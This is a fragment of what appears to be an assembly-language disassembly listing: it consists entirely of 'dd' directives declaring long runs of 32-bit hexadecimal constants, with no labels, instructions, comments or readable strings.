		dd 0D7D9DD84h, 76407F00h, 0F17215B6h, 30F65040h, 5D214A69h
		dd 1824FF6Bh, 0F802D05Fh, 8053A37Fh, 6E50B1ACh,	4FD12CF4h
		dd 780C80BCh, 0E172AFC3h, 6F00A7F0h, 3CF9241Eh,	0D7DA36h
		dd 2583EC87h, 80F688B0h, 62A02E00h, 244E23F4h, 0B4B0060h
		dd 8DEB1740h, 3400DEE2h, 0E67725ABh, 3C10801Bh,	8B80B1CCh
		dd 1809C67Ah, 0F017C26Ah, 0B703DE29h, 0D80E6BAFh, 27234D9h
		dd 0AA3C7994h, 50E04E64h, 0F00AE33h, 99ED5651h,	2C8D21h
		dd 13473020h, 5D1053F6h, 0CE504E00h, 0F054895Ch, 8FD307FAh
		dd 403BF574h, 0C3D9BC93h, 92C9551Fh, 2018802h, 1CB45044h
		dd 5548A873h, 92289487h, 6BD600DEh, 0EDAB6693h,	0FD3C4B8Fh
		dd 6D7713F8h, 8BF96041h, 7C70D9A6h, 0AC2B54A2h,	7E453C28h
		dd 6A9DB13Fh, 8898E660h, 1E9FB4E6h, 5E71B201h, 53CC7CCCh
		dd 43C5247Fh, 8F0A078Ch, 3D0BB104h, 2D2C031h, 8B9BFF0Fh
		dd 0A84C4536h, 50BA86h,	6A0EB301h, 0B04312B7h, 1E312C09h
		dd 20204C63h, 84021927h, 25811A20h, 10C8C69Dh, 472399B5h
		dd 0F11D0080h, 0AE5495ADh, 1FC5F421h, 893FCD92h, 0A093536Bh
		dd 56C7F800h, 0F71D9850h, 0EB2209D7h, 7C98A75Fh, 0BC5DAE76h
		dd 9532801Ch, 2228F2h, 3A0780EFh, 29B02BFEh, 5121DFAh
		dd 8C8773A6h, 500FC251h, 5FE9970h, 171D15F9h, 394002Dh
		dd 0ABB8EC40h, 6B0034B9h, 3D792543h, 0A3F10070h, 13F9C6A0h
		dd 0D8B25B22h, 0F845012Ah, 0D4F5CA09h, 0B77C014Eh, 85E43519h
		dd 0C8EA1CB4h, 0CCA98044h, 0A23A1F37h, 96988353h, 0B009604Dh
		dd 37151067h, 95259049h, 0E0208812h, 4BCDEEB1h,	7A00FF73h
		dd 6EFB9BF1h, 480639Fh,	9927E623h, 5CDC809Dh, 922E098Fh
		dd 850364B6h, 0D72356AFh, 0E71E13B3h, 465F73F0h, 6B9F265Dh
		dd 2C5E1652h, 0FF769504h, 0F900907Bh, 259DECDEh, 4B0C26h
		dd 3CE46567h, 0B38CC513h, 3DD5113Bh, 847E3F1Dh,	0EB7F23FEh
		dd 2C856880h, 0F3E20007h, 0DCA3C7D5h, 370188E0h, 0C20649B3h
		dd 63086EEh, 56F1005Ch,	16D6A747h, 64EBE1B1h, 0D33055E0h
		dd 0C35E3422h, 74C40111h, 49F36207h, 0F744F4D1h, 6EDB9E04h
		dd 0F7C05064h, 0E0E745E2h, 2499491Eh, 151817h, 4147A76Ah
		dd 43071CADh, 0B8A1FC40h, 1F0CA8FCh, 643669E4h,	6AB0008Dh
		dd 91BFA6FFh, 28DBE524h, 0DC256305h, 0CD1AA800h, 2CA7BDC1h
		dd 89FCC6EBh, 4440160Ah, 84924454h, 38BDC14h, 82B418C8h
		dd 0F4C49948h, 9855h, 8D8A96C0h, 3952F409h, 0C59A0D06h
		dd 205DA7h, 25448976h, 17145135h, 0FA018679h, 0F1125E42h
		dd 0C0F69E06h, 0E73E28h, 7F0DA07Eh, 6976FAEFh, 0E8DFA500h
		dd 0DAFED9C9h, 41F40F9Ch, 718183DEh, 20BA6DD7h,	0A3001333h
		dd 0F24279E1h, 0FA26FCh, 2417853Ah, 0D0C68022h,	32F4E300h
		dd 0CC07881Bh, 0BE4503BDh, 0CA99E168h, 0EA0F34A8h, 4D2D6000h
		dd 9A2EF324h, 0F42498B3h, 0E1C7F9Eh, 575189ADh,	4D94B1E0h
		dd 0DA003569h, 13EB48F7h, 1621A0h, 247912D4h, 25197ECBh
		dd 0F51E8E1Ch, 448141C0h, 1DEC0E7Ch, 644EB6h, 598FFCA5h
		dd 476448E0h, 29C02420h, 5CFF45C9h, 790E303Eh, 51208DE8h
		dd 9B443C81h, 0B7771600h, 3A6953Fh, 0E8BCFABBh,	0BF6C1C85h
		dd 0C28844DBh, 2B62C07Ah, 0F200FC8Eh, 81AFE216h, 1D0DF187h
		dd 87A3ECE5h, 50E1E805h, 0F3264952h, 0B2176A00h, 6D8E489Ah
		dd 40B70084h, 925209E9h, 4F003076h, 3C6B69B4h, 1D5CF1E2h
		dd 0C5A16C75h, 0C18535FEh, 0D084F6AAh, 520F3A1Ch, 5D0BC944h
		dd 0CD25F4C0h, 75629h
		dd 6D03B387h, 139B3A73h, 0C4A2D300h, 0B21B5D80h, 5E980032h
		dd 6382BBEEh, 2700A09Ch, 5DAC4EAEh, 66DF52h, 0D8F2E078h
		dd 5076D6B1h, 3E83BE00h, 2242099Ah, 0A2F61362h,	0B34B0470h
		dd 0C038C073h, 66017CE6h, 531994B0h, 0E9C0FD49h, 67833FEDh
		dd 0E1C64C03h, 8D2798Ch, 26006058h, 5843EC3Ch, 79F90A9Bh
		dd 98EC69h, 0C33DE18Ch,	7AB41AD9h, 0BB2BAF00h, 4CE49195h
		dd 9FB801C4h, 0A24D4777h, 1FFD839h, 4056C801h, 67DAB5AAh
		dd 0C4CCF8D5h, 12E47B18h, 0C0726FBEh, 0B0A1E148h, 0D71A3A00h
		dd 0C2DED20Ah, 0F91D00D8h, 5417F034h, 0E200833Fh, 0C709550Bh
		dd 5895497Fh, 2723704h,	4723F5FBh, 0B0C8C2CBh, 6800147Fh
		dd 0B1A1678Eh, 4EACC4h,	980CAAD8h, 495E2960h, 536D0CC4h
		dd 8D8700EBh, 323C0DBBh, 18CADA00h, 0F7D64DA7h,	3DF43C04h
		dd 0D5359300h, 0A8B2C4DEh, 0CC4C8304h, 0FE80F668h, 2628C8Ah
		dd 41F042C5h, 18605CB1h, 0B8E0CA65h, 5094D13Ch,	60B08780h
		dd 0A8E6B900h, 44C65C88h, 9ED20248h, 0F9FA5947h, 9060306Ah
		dd 0DD001F3Ch, 85BE8180h, 83C892h, 8EBA4FD0h, 49476169h
		dd 90C5D614h, 608601B4h, 93DA519Ah, 0BFF0FCh, 873DEB2Eh
		dd 5F1D46A9h, 0D70048F6h, 0A3DEA758h, 9E98361h,	0BD8ECF0Dh
		dd 0E5860D80h, 620074A6h, 0E7EF8D93h, 0B0CDB802h, 3A6D003Fh
		dd 0A989A096h, 98A04CB2h, 0B0003FFh, 5E9C2402h,	1F63322h
		dd 0D39F1A95h, 0F0997855h, 49007036h, 0DE3EFCA6h, 50F1Fh
		dd 0E872B2C1h, 955978E5h, 4F2BD000h, 1C66325h, 0FC540416h
		dd 810F49FEh, 642D792Ch, 4D0F59A0h, 0A1FBD5h, 4C0827B2h
		dd 0BD0B01DCh, 109AEA49h, 0CA746018h, 14424600h, 0B81348F8h
		dd 87CC007Bh, 755FD358h, 0BA4DF2E5h, 0C2D400E8h, 300407AFh
		dd 0C9D103A2h, 740C758Bh, 400987B0h, 12D0CA50h,	0C32EB2EEh
		dd 1980282Eh, 15BEFF5Bh, 0F0C8071Ah, 0D07CDD61h, 0E2500DA5h
		dd 1D79B812h, 2DFE4404h, 16274890h, 218E1DD9h, 78B2063Eh
		dd 0EBF1183Ah, 0E350D1E0h, 182F2428h, 6BFB5909h, 38C8009Ch
		dd 0DEB0C1h, 0D28DFE0Eh, 3B9AE299h, 3107F57Eh, 6379A2AAh
		dd 5985E650h, 0E1CA0EEh, 18D0A26h, 1E2CD875h, 50D03905h
		dd 37FA92h, 1BA73920h, 1A94D95Dh, 0E6201872h, 31C0617h
		dd 0B82446F8h, 861F8E17h, 0D6539301h, 3C303574h, 79603F8Ch
		dd 230E97DCh, 7D80CFB1h, 0B38220CAh, 0B9744801h, 4DEF4358h
		dd 3117980h, 0E6774BF7h, 0C217FE77h, 0BD00C063h, 0BAC5D5C7h
		dd 93010372h, 8C1B3F44h, 0A0640AC0h, 6B1E12E2h,	2DDA26h
		dd 901B7294h, 293831B5h, 68038FB0h, 0B18203E0h,	88B023B7h
		dd 60FA962Bh, 946019DBh, 4D005AC5h, 7FC47743h, 4B7954h
		dd 2DA36997h, 0E42832A9h, 2C02548h, 44E5A0C4h, 0F0728Ch
		dd 83669E6Dh, 45C2CD3Ah, 0ABBBBA00h, 59B79B15h,	6F5407F9h
		dd 0ACEE171Eh, 4858A570h, 723F0019h, 1D694307h,	0EC267268h
		dd 33193C62h, 256ACF00h, 9302985Dh, 6DBB6B0Eh, 0FBBE2060h
		dd 0F89EA935h, 193C60ABh, 3F259BDh, 0A453EB2Ch,	19AD1003h
		dd 281EE8B0h, 0B79700B3h, 15E29145h, 0F701DD6Dh, 0E99BC0F6h
		dd 0BFDC8886h, 7F420175h, 0E07B1A81h, 0CA08988Eh, 0B29721h
		dd 0A8AA1275h, 0D849CC95h, 0D7773B00h, 0D9D26F25h, 1F7F058Ah
		dd 8091BEC7h, 1AA3A0EFh, 4C585Ch, 7F7A7D63h, 6C2121Bh
		dd 0EFC67BC0h, 0E9004035h, 16AD55E6h, 33BD6A3h,	4AEBBC2h
		dd 210519C3h, 5A17BDF5h, 1D4F0680h, 31C000BAh, 23ED797Fh
		dd 6E18E707h, 7EA8BF6Bh, 7DBB0072h, 0EDA9C201h,	20DA04DFh
		dd 8B102448h, 0CF45A300h, 6E07E649h, 0C57487F2h, 4359A1CCh
		dd 16D6029Dh, 315EA3E5h, 2C1212h, 0B1C18B6Fh, 3C5EA400h
		dd 35A2796Ch, 605460CEh, 0FFA8BF8Eh, 0DFF71000h, 692D6F22h
		dd 11323078h, 7AA7F270h, 0BD9040E1h, 13004C3Ah,	0C32905E2h
		dd 1443092h, 753D5A42h,	704F57EBh, 0CB006C9Bh, 70874664h
		dd 6DE0B33h, 56AF125Ch,	0F41E7642h, 0B3407393h,	5B0C6B0Ah
		dd 1D06B89Dh, 0C703B7B4h, 542C97h, 9539FD2Eh, 9D9C223Ch
		dd 8E83D219h, 88E580ADh, 2E16E27Bh, 1DDEEC6Ch, 151C0EAFh
		dd 595731E0h, 0B27C5274h, 555F7505h, 6BC63058h,	8496C19h
		dd 6FAA618h, 88BAF703h,	539F3Ch, 30528731h, 0E7D608EFh
		dd 46A5000h, 0B0DC0E14h, 0D4F53E48h, 0B7176481h, 8F33B188h
		dd 60B88351h, 0EBEFEEC7h, 4554001Bh, 295D02F7h,	0F2EE5E11h
		dd 555CBB00h, 91611459h, 4D1F06A2h, 90D4FA8h, 34A98F61h
		dd 0A1DF9779h, 7ED85585h, 68546086h, 0E4C1265Eh, 980BAF00h
		dd 0A7D21E64h, 0B3BF01DDh, 9689BA4Ch, 86B9ED59h, 5B4B5231h
		dd 0D67905F1h, 2E22B26Dh, 28291048h, 5C540C0h, 0F5069823h
		dd 77866F7Eh, 9C5D5560h, 9C11746h, 728739DDh, 5E848A00h
		dd 660016DBh, 0D60624D7h, 2BFF7Ah, 0BC6448B7h, 85A74E94h
		dd 0DA9CC67h, 790792B0h, 0F3B600CBh, 95A217D5h,	83E8225Ah
		dd 4C90BE00h, 7404AF38h, 703750CCh, 3DB507E4h, 7007D36Eh
		dd 0C40283B0h, 8F7E253Ah, 0A984D811h, 0E6042136h, 0EB3065FCh
		dd 76C237EBh, 32E7C040h, 7E301F56h, 7F74105Eh, 0D599002Dh
		dd 0BAAEDAD0h, 0AF748BA9h, 49A069h, 1CE69A04h, 0E39B0076h
		dd 85F809F3h, 27549C8Eh, 9300488Ch, 728D3C7h, 2ADC090h
		dd 53FF60E4h, 0D4A0B87Eh, 766F7DC5h, 7F00C3F6h,	0A85A970Dh
		dd 2105C8h, 3FF52919h, 3689EFCEh, 8A37590Eh, 43758651h
		dd 4C0D041h, 2DEA8BFh, 0A23E7B83h, 0E4405BF4h, 0E804D77h
		dd 0F608008Fh, 1F9EE137h, 8892E59Ch, 68D46501h,	0CA5C1864h
		dd 113FCDCh, 0A07C1FC5h, 32F3ED85h, 64D0024h, 0C5C701F0h
		dd 0F8D80020h, 0A2693D84h, 8839A846h, 4BD180BAh, 0D83243A4h
		dd 18689A9Fh, 0A9400DA7h, 807388F5h, 0A0CB0103h, 126998Bh
		dd 0E3D3AE89h, 307828CAh, 0BC1E749Dh, 8C52C51h,	0C858FC6h
		dd 702CD212h, 3CFE89Dh,	0D00580BEh, 0EB809833h,	490F6CE2h
		dd 0C6AB483Ch, 3A805AC8h, 18BA1934h, 361FC080h,	3C9E08CAh
		dd 7DD11401h, 8B3F4989h, 98580FD1h, 88F71FECh, 80F0647Dh
		dd 23879179h, 0AA3D41EFh, 749A134h, 27794658h, 2F974025h
		dd 0B5B04EB4h, 312D7B02h, 9017B3EBh, 78F37710h,	5C49860h
		dd 0F6598006h, 0BF90886Bh, 0C7A2C84h, 0DB758C04h, 302ECE89h
		dd 8800BAA4h, 0A832A305h, 0C0231C8Dh, 0DD097EDCh, 0E083FB44h
		dd 0A810A956h, 1E874F04h, 0E6694C51h, 0B234AB0Ah, 0C78F94CAh
		dd 94D18065h, 0C650B382h, 0D189D6C0h, 0BC8AD226h, 0E0D7530Ah
		dd 6A3A5841h, 808CB9A0h, 0B8D6A270h, 6F4C4400h,	40B80C24h
		dd 0A1180760h, 0CF51004Fh, 5C0EA221h, 1600F7D4h, 0A8103858h
		dd 0B0809Fh, 3729ABCEh,	81B1E559h, 2FE0A9C7h, 0DA91A01Eh
		dd 14548Dh, 0FA944A25h,	20817709h, 6F06F274h, 0B1415928h
		dd 355F03A1h, 7C9AC5B4h, 0D7042998h, 5DA0E1Fh, 0AC8A5931h
		dd 0C648F4h, 4BDECD08h,	0F4AEA7D6h, 0AA2E7A00h,	0D828B862h
		dd 0C23E734h, 0D9DF7201h, 6441EC87h, 0FA7351ACh, 26F48802h
		dd 92485446h, 0E6C821C0h, 94404EB5h, 12E166AAh,	4091F3F7h
		dd 17F02A9Ch, 637C100Dh, 0F48940C6h, 0C0385430h, 0B13B60B1h
		dd 0BEC5527Ah, 0C8440300h, 0F1AD75C1h, 3A720046h, 6FBD0EF5h
		dd 0B0585705h, 0EDD2254h, 0A6D5A2F0h, 5824241h,	78DCC825h
		dd 0DF9F2700h, 0D389370Fh
		dd 0CAA5057Bh, 53047D7Ah, 0C18A0CA0h, 0B4024796h, 0CA4C6B4Fh
		dd 7A104086h, 34DC0381h, 98829B74h, 0F4A015F0h,	8DEC1618h
		dd 0CF1A79h, 0A54C6C44h, 450997F3h, 0B49F0615h,	0B6A786F4h
		dd 415F0031h, 426F7615h, 0FE2408D2h, 102CCC22h,	0E2801011h
		dd 0C2D0D69Ah, 0FB4A0087h, 95901F9Ah, 0EEFABB00h, 76E6F201h
		dd 161A0148h, 7FAAF4A3h, 4A518053h, 0FB83295Ah,	0EDC61E78h
		dd 0F66A4091h, 32D53319h, 1C47E802h, 0A1F4DCB1h, 77B884C4h
		dd 4A7C834h, 8765F6A6h,	20C53Ch, 284ED7F4h, 0C800B711h
		dd 3E42E679h, 0A1228D54h, 3C1087CCh, 17009C21h,	1E94E889h
		dd 61834B0Ah, 0F559A053h, 0B0298CBBh, 73E77984h, 0AC9007Ah
		dd 0FF4C1A07h, 40023451h, 1C446EA1h, 508460B8h,	555B40D6h
		dd 0C8239h, 8B164FF4h, 0BAC2F209h, 5B6248C8h, 4810F325h
		dd 0B708969Ah, 62AA351Fh, 51042985h, 0ED0EF580h, 0F1A103F5h
		dd 0F6B255D8h, 2758690Ah, 811158DAh, 0D2A6F300h, 22F8ABDCh
		dd 2AD67700h, 99C33B96h, 692048Ch, 0C19B6446h, 432CF524h
		dd 0A40D20h, 2DCEA82Fh,	265B0016h, 0A71C3D81h, 7328902Ch
		dd 0E030BCB0h, 0A880C19Eh, 7B3D053Ah, 20D332E8h, 2F886DD0h
		dd 0BAA2CF38h, 0D418500Dh, 9F1C49FAh, 7BC1C399h, 549CB50Ch
		dd 0ED5834h, 6987331Dh,	0AA01F87Fh, 0ADCDD01h, 0FFD3A615h
		dd 0D2F5E180h, 8DD496E7h, 0F12B7A01h, 3A0AB07Bh, 599E218Ch
		dd 0A0006C51h, 1ED1BA89h, 0FCCF8Bh, 6B0EACEFh, 389CEB95h
		dd 0A15929C0h, 0EA12C7F8h, 1309005Bh, 57ABD88Eh, 49E7990Eh
		dd 0F8EDE08Ch, 88B91F0Eh, 0E4174ACBh, 0F4F63B40h, 9BCB0A0h
		dd 49095851h, 0D99D7420h, 5471625Ah, 88846B12h,	0D5F24800h
		dd 29B71C0h, 0BDA7F57Eh, 0C4C0E034h, 4C240A9Ah,	2B80003Dh
		dd 406B4379h, 38236053h, 163B0EEh, 20313C30h, 0C1706184h
		dd 89394949h, 62BC60CBh, 6F2999ECh, 23D18E1h, 0DFCAAA37h
		dd 8D7AC1B6h, 0F97DC080h, 0AED6D4F6h, 0A3887007h, 0A6D1667Bh
		dd 9E40430Bh, 26980DB1h, 0D48CBBh, 585F7065h, 7600D92Dh
		dd 3581ACE9h, 1605A7FEh, 0F708D6h, 2C6B42ECh, 0B8C16CA1h
		dd 957F94BBh, 20849C52h, 0E3F8BE3h, 74119267h, 910EBEF4h
		dd 8C755224h, 0AC9C556Ch, 0DCEF4C54h, 0E43A9CC0h, 1A009669h
		dd 9AAD06F9h, 0D8FCC4h,	4C2932DCh, 0B32244C9h, 0DAE32B11h
		dd 6E585205h, 0F5848303h, 8AC436B8h, 0A8266A00h, 6F0578FDh
		dd 58035025h, 22BE0089h, 2A4F87FCh, 9C397604h, 2244C8A4h
		dd 91EF00EBh, 0DDA5D8F2h, 0EA0034E0h, 0A24F1E81h, 0CEDE2D2h
		dd 24DEB774h, 7624A8B8h, 0F000EE42h, 8EF81416h,	0C175A1h
		dd 0A5FD9BEh, 64BA4F96h, 6BF3CF13h, 0F19B5C80h,	0A7D30055h
		dd 0C101087Fh, 7009FE1h, 6A105A2Dh, 50B83F41h, 7026CF15h
		dd 0CCFD001Fh, 9FB6B465h, 9412410Eh, 0D420F18Fh, 0EFEC667h
		dd 9D3F915Fh, 0DEB6AE80h, 6B0066B5h, 0A47E5714h, 95665E9h
		dd 7C5AB288h, 0BCF53CE8h, 0B3A05207h, 171058AEh, 0CE3DAE2h
		dd 83B88788h, 8A547561h, 0B300AFB8h, 0EF448F91h, 586708Dh
		dd 8275D945h, 0E368C142h, 0FF1660D1h, 8BF1000h,	349BA2Ch
		dd 3D6D7864h, 71805115h, 56353B4Ah, 0C8F4908Ah,	2CF47000h
		dd 12977B3Fh, 2BAD00BFh, 8088080Dh, 860ED519h, 2C3F2D50h
		dd 60754861h, 888F208Bh, 6960269Eh, 2A633E50h, 72C901Bh
		dd 0E3CDBF55h, 6A2BC138h, 6BC630C0h, 0D9A838C0h, 63D05F9h
		dd 566F6D5Eh, 0AE600836h, 0F8471559h, 0F7E600D1h, 892BB5D0h
		dd 5052FC6h, 8325309h, 82E8E406h, 0DA60C1C9h, 967C95BEh
		dd 9D073C10h, 0D0B0621Ch, 97ED14h, 0B38B4593h, 9ABD5409h
		dd 690164F6h, 6D6C4C7h,	9CF0E7A2h, 0B245182Fh, 0A0F61868h
		dd 9795590Eh, 8470802Dh, 1F8FA34Eh, 587CBEh, 5FAC52E6h
		dd 0D9F08B68h, 70296900h, 0C76C8E43h, 0AF1601F6h, 546B62C6h
		dd 5FCFFFDCh, 1C774E9Fh, 32847E81h, 6A6880A9h, 8B2BC319h
		dd 0B4EEC0h, 0C6A293B3h, 5AD26905h, 9F187960h, 4EF8859h
		dd 82E0D48Bh, 0CC188063h, 7A0CA68Ch, 2872B3CAh,	6B10766h
		dd 90D7866Bh, 0C1A768F2h, 2A334BF8h, 426A9A8Bh,	50004E0h
		dd 3FB537F8h, 530CE052h, 0D9C09CACh, 45CF0025h,	0A7B2ECCAh
		dd 0A9007D1Fh, 0E907CDB7h, 1D87A3C3h, 0B3D0334Eh, 68E2F730h
		dd 0DDF11340h, 9330767Dh, 0E87D682Ah, 14B4FCADh, 28CBACD3h
		dd 0D991E50Dh, 0B68F0719h, 531F99A6h, 0D46AEB2Fh, 90A5AE0Ah
		dd 3A606092h, 1E757ACh,	46D32526h, 80B104CAh, 0FAE99F58h
		dd 0A0D48A7Bh, 0EB1790h, 0C569956Eh, 58AC32CDh,	5579AF61h
		dd 0A3C9F641h, 526B7C51h, 0A085844Ch, 30E5D63Ch, 0CB19E33Ch
		dd 0F1283E07h, 0A37C84AEh, 2B411660h, 286935E7h, 1048A0DAh
		dd 0E0859809h, 0C04A04DBh, 0F3AC7849h, 38C0B3CEh, 0BBD424D9h
		dd 0A3C10E6Ah, 2AA5B96Dh, 0BA540798h, 18AC52C7h, 52B4A8A0h
		dd 0F4F3AD4Eh, 0AF5043D2h, 3230B850h, 0E5CA39E7h, 0AE07B25h
		dd 6AFDF062h, 154182CCh, 8CA08016h, 53845114h, 36C38B02h
		dd 0A3690BCCh, 0C16B5284h, 0DCE4BEA2h, 258C0657h, 10F87844h
		dd 2943BC1Eh, 928448h, 0CFCBBAF7h, 0D903E83Fh, 15685840h
		dd 8169FE26h, 0C187C5DCh, 0BEAC3B7Dh, 0E5AE9C87h, 78A058D5h
		dd 28120797h, 40C425h, 0C7E2EAEEh, 10406372h, 0A101F766h
		dd 8DC809D5h, 1084F818h, 907FACDBh, 1FD13858h, 0C8408418h
		dd 8F2970h, 3EEBFB4Ah, 3A58280Dh, 400A9441h, 9004E088h
		dd 0D3706929h, 38061882h, 0F1C9C45Ch, 0EA840718h, 8E1D59D4h
		dd 0CD48C5ACh, 21A40B31h, 5440AF15h, 50D4C6DDh,	8874BC31h
		dd 1E493E71h, 40EB30A8h, 12142CD6h, 99C84C2h, 8029602Ch
		dd 0C4301002h, 0A0A01610h, 7753A80Ch, 0B3E1808Eh, 1CB43184h
		dd 80415F30h, 7518C871h, 1967BCh, 2BEC4630h, 79683707h
		dd 0FC6E621Eh, 1D845CC2h, 0BC70604Bh, 0C4B8C0D5h, 245F9574h
		dd 0B6059C00h, 0CCB8176Eh, 214C0062h, 9E191134h, 9F48407Dh
		dd 308490F8h, 893279CAh, 0BC19D86Ch, 3E00E8F1h,	2A77A20h
		dd 604231E6h, 8CF668DBh, 98035703h, 0A5668BBDh,	879398C1h
		dd 16910095h, 4EA38465h, 0AEEE9F46h, 0ADC0DC00h, 0C18DD317h
		dd 57633DA0h, 0E60524F8h, 0D4AC00AEh, 4FA5DFADh, 6472DC00h
		dd 62ABF521h, 0BF9613CFh, 30440E3h, 1F686FC3h, 0F66D3Ch
		dd 91A4A8E6h, 0FD9BF90h, 0B48A1314h, 0A9441832h, 0CD0099B2h
		dd 0EDF36B40h, 0FA69A7Ch, 5DC0BE8h, 26803C2Fh, 0D9CCC9FAh
		dd 8B355C18h, 2606D140h, 0A5A928Fh, 90C62Ch, 0D2CAABA9h
		dd 3C0E7CB2h, 0E012FB76h, 6C15CF42h, 0C4794828h, 6ED5D051h
		dd 0FA604003h, 0FB9CDE89h, 0AF9A002Fh, 7221A514h, 0D50010CDh
		dd 5D87A204h, 1EC8036Ch, 40EC01F3h, 0B2F1908Dh,	5C3A9D75h
		dd 400A0F09h, 0DBA1C079h, 809BFFh, 2CDCBE6Bh, 9678B19Eh
		dd 0DEE98800h, 0ED858A99h, 0E1BC2455h, 0D0250021h, 1B5DB035h
		dd 520BDB07h, 8F59FCA2h, 0C07B8088h, 0FED88h, 7DE15AFBh
		dd 0D89C6A9Bh, 0C185E20Fh, 60C56154h, 16C434F8h, 75FF4E9h
		dd 87025D9Ch, 3E01F75h,	8F9B40F3h, 0CA523700h, 8971D857h
		dd 0CD798Bh, 2E701725h,	6445CB79h, 365FA900h, 8E11F0CEh
		dd 0EBFA91h, 9D819363h,	666FA6C6h, 0D706C907h, 0B9809E4Bh
		dd 0E8A5177Eh, 0B24300C0h, 0FB6ADC58h, 0E20076F8h, 0F4852865h
		dd 4248BDh, 383E0833h
		dd 0D1DCFFDh, 8C5B9102h, 406C261Ah, 0F54B00Ah, 0F0C99537h
		dd 61BB1000h, 170721C7h, 6FF9A9F1h, 16435D70h, 70AD00E1h
		dd 2450BCB0h, 800490Ah,	0D125FD69h, 6F838AFh, 6B2C0E8Dh
		dd 560048CAh, 0D2B9DC93h, 766098CFh, 57E4013Eh,	0EC31F9Dh
		dd 2F7620C0h, 4A384C00h, 0F2047663h, 8898A4h, 30F6BBD1h
		dd 2EAA0BA8h, 9E17DA00h, 4DEE7B5Eh, 0DE3E0078h,	7A518C14h
		dd 82001921h, 0B7096153h, 0FA75C1Ah, 0ADC2503h,	0FE3DBDA0h
		dd 0B0032A1h, 5283782Bh, 5E01E5h, 5A88EED7h, 2169A7A5h
		dd 0F13A058h, 615B9ECAh, 7F0AFBA9h, 0B7D3DCh, 0C078068Eh
		dd 0DE47856Ch, 8C417600h, 0DA0BC4BAh, 6BF900F1h, 6E0F70F8h
		dd 46E0355Ah, 836D1D00h, 7FB1EF75h, 0EAED004Dh,	7C380A52h
		dd 79007873h, 0A699C059h, 0E2BADB57h, 0FD17DB4h, 0A1B0314Ch
		dd 0E1AB7580h, 0DF1C8798h, 3F4055DCh, 81ECCF50h, 303E012Eh
		dd 78D6680Ah, 0CDB840A1h, 737DA4A0h, 6A6B4600h,	0B49616D8h
		dd 9FE0002Bh, 0F11A4BA2h, 5C035182h, 1CA42DFBh,	0F87CE04Dh
		dd 0E2570197h, 0B82F1EA8h, 508DC5Dh, 0F9FB6E07h, 110066B5h
		dd 19A272h, 3E3FB715h, 81D3EC1Ch, 9222A400h, 10174ECFh
		dd 27F1878h, 6A21FC59h,	6501B200h, 0DB60C7E4h, 220F5A4h
		dd 6B3900FDh, 0DA033F0Ah, 1BE2664Bh, 98EC1C90h,	0E81948h
		dd 0FCAA9137h, 1C848Bh,	63DE6E3Ch, 9EB24BCh, 5ABB1501h
		dd 71F7D775h, 1FCA3420h, 0C1FF0C3Dh, 94AB2CB4h,	337C206Bh
		dd 3E5D2201h, 19E38A0Ah, 0D514EC40h, 563F0031h,	1FA5EEC1h
		dd 34391845h, 0D15B0695h, 228B57Dh, 765367D7h, 0B080AFC8h
		dd 69D2A2ACh, 6B0DEF00h, 0A6BDDC43h, 959008Ch, 0B96C747Dh
		dd 2B1DF002h, 0ADC1BC6Eh, 3F8FA289h, 0CCD820h, 0E19AD90Ah
		dd 30E4EC4Eh, 66CE6E00h, 444C603Eh, 84D30081h, 0B72BC889h
		dd 42ECA322h, 3E1A0500h, 1FF7D45Eh, 92A50271h, 88B4B88Eh
		dd 5AF5C480h, 35009FCEh, 0AA0A216Eh, 38EAF76h, 91A5675Bh
		dd 6FC06B3Ah, 530088ECh, 45A72D06h, 0D84622h, 0F7B51898h
		dd 0AFD21CA8h, 0B82C3A00h, 49E72666h, 0F1925890h, 7684E63Eh
		dd 806D8012h, 0E1FE8734h, 0A4C45100h, 0EA022AD0h, 15A6036Ch
		dd 8C91FB8Fh, 146028D8h, 0B11D21Dh, 0BD17A780h,	3A51A5h
		dd 0DCF205BBh, 21A8DBCFh, 80C57A3Eh, 0E89EA081h, 7DD07D6h
		dd 130F5883h, 0C2F111ACh, 1BF06B1Fh, 9B2900C8h,	97436551h
		dd 0AF0B2064h, 44889C0h, 3CC0424Ah, 655469h, 0FF6D98D2h
		dd 0BF9EA786h, 27C64500h, 62A54821h, 7FD00011h,	0F03F5241h
		dd 6D0066B0h, 4D175FDFh, 70B486h, 37D883FCh, 0D556A581h
		dd 92AE600h, 55A65994h,	0D930009Dh, 2E3AAD35h, 83268AAFh
		dd 4F00AB8Bh, 0B2A1E066h, 130A03FAh, 617EFED6h,	7F3590C7h
		dd 33000738h, 3B60E424h, 0BF195C6h, 576937C1h, 0F4B48000h
		dd 1C006E74h, 7A253839h, 0C16F49h, 0FF2DE142h, 86237CF9h
		dd 18A0B524h, 0F80B7D05h, 62A7DC0h, 9411016Ah, 6B67E1E5h
		dd 0CD4C248Fh, 0E0E802E6h, 0B8845801h, 0B1186195h, 97A1CCh
		dd 0E74FA605h, 0F50DC57Eh, 578D3D07h, 2E0E518h,	130CCDh
		dd 0C3539FA7h, 68FA78C7h, 2C0A10B8h, 58DECF29h,	0E6211E02h
		dd 4250C083h, 6F9D07F5h, 932FE9DDh, 7FA2B2D3h, 0A238760h
		dd 970027F8h, 0D80D196Ch, 8EFE54h, 0EBC4D0BEh, 92DED2CDh
		dd 0F2CFE207h, 807EAEBFh, 0DDD9E879h, 0FAB5B011h, 0C7400B09h
		dd 0C82077F3h, 0A208EBAAh, 7F46231Dh, 5C0CFB41h, 8CC870AFh
		dd 0A7AC1EB6h, 485883C3h, 7F8A2EAh, 85076F0Dh, 0EF536120h
		dd 0F897A8F3h, 0C2E635h, 0C98C4CF0h, 55D86FF7h,	43F8A503h
		dd 90703A29h, 1DE4955Ch, 7FD790E8h, 6B9C5300h, 0D8C6D513h
		dd 7C1EB71Dh, 568EB340h, 0B25E35h, 5595F54Dh, 36E072F4h
		dd 0F8442504h, 2CC55F7Ch, 4AEC5C00h, 754BE9h, 0B9711DA9h
		dd 95BD92C6h, 0F00AA000h, 30CBEFA3h, 8D560033h,	9EEA1A02h
		dd 7C03BE09h, 6DD6175Eh, 2429F013h, 7BA01F6h, 0A42CAC43h
		dd 1EC864CEh, 5408C418h, 227670h, 1A621657h, 84638506h
		dd 0F70FC518h, 813A21h,	0C92748FBh, 0C84F45B1h,	228FE513h
		dd 0EF1ED41Eh, 55294B00h, 19DA1920h, 6812FE93h,	1A9AFC43h
		dd 83140F0Fh, 303A8031h, 0E4704Dh, 111942EDh, 1BD63BD7h
		dd 0FC651600h, 3F3A698Dh, 0B0ED17C1h, 6120471Ah, 8F2CC02Bh
		dd 5F00E82Eh, 37C3F7A7h, 0F981E73h, 0D3F551E4h,	6FD27940h
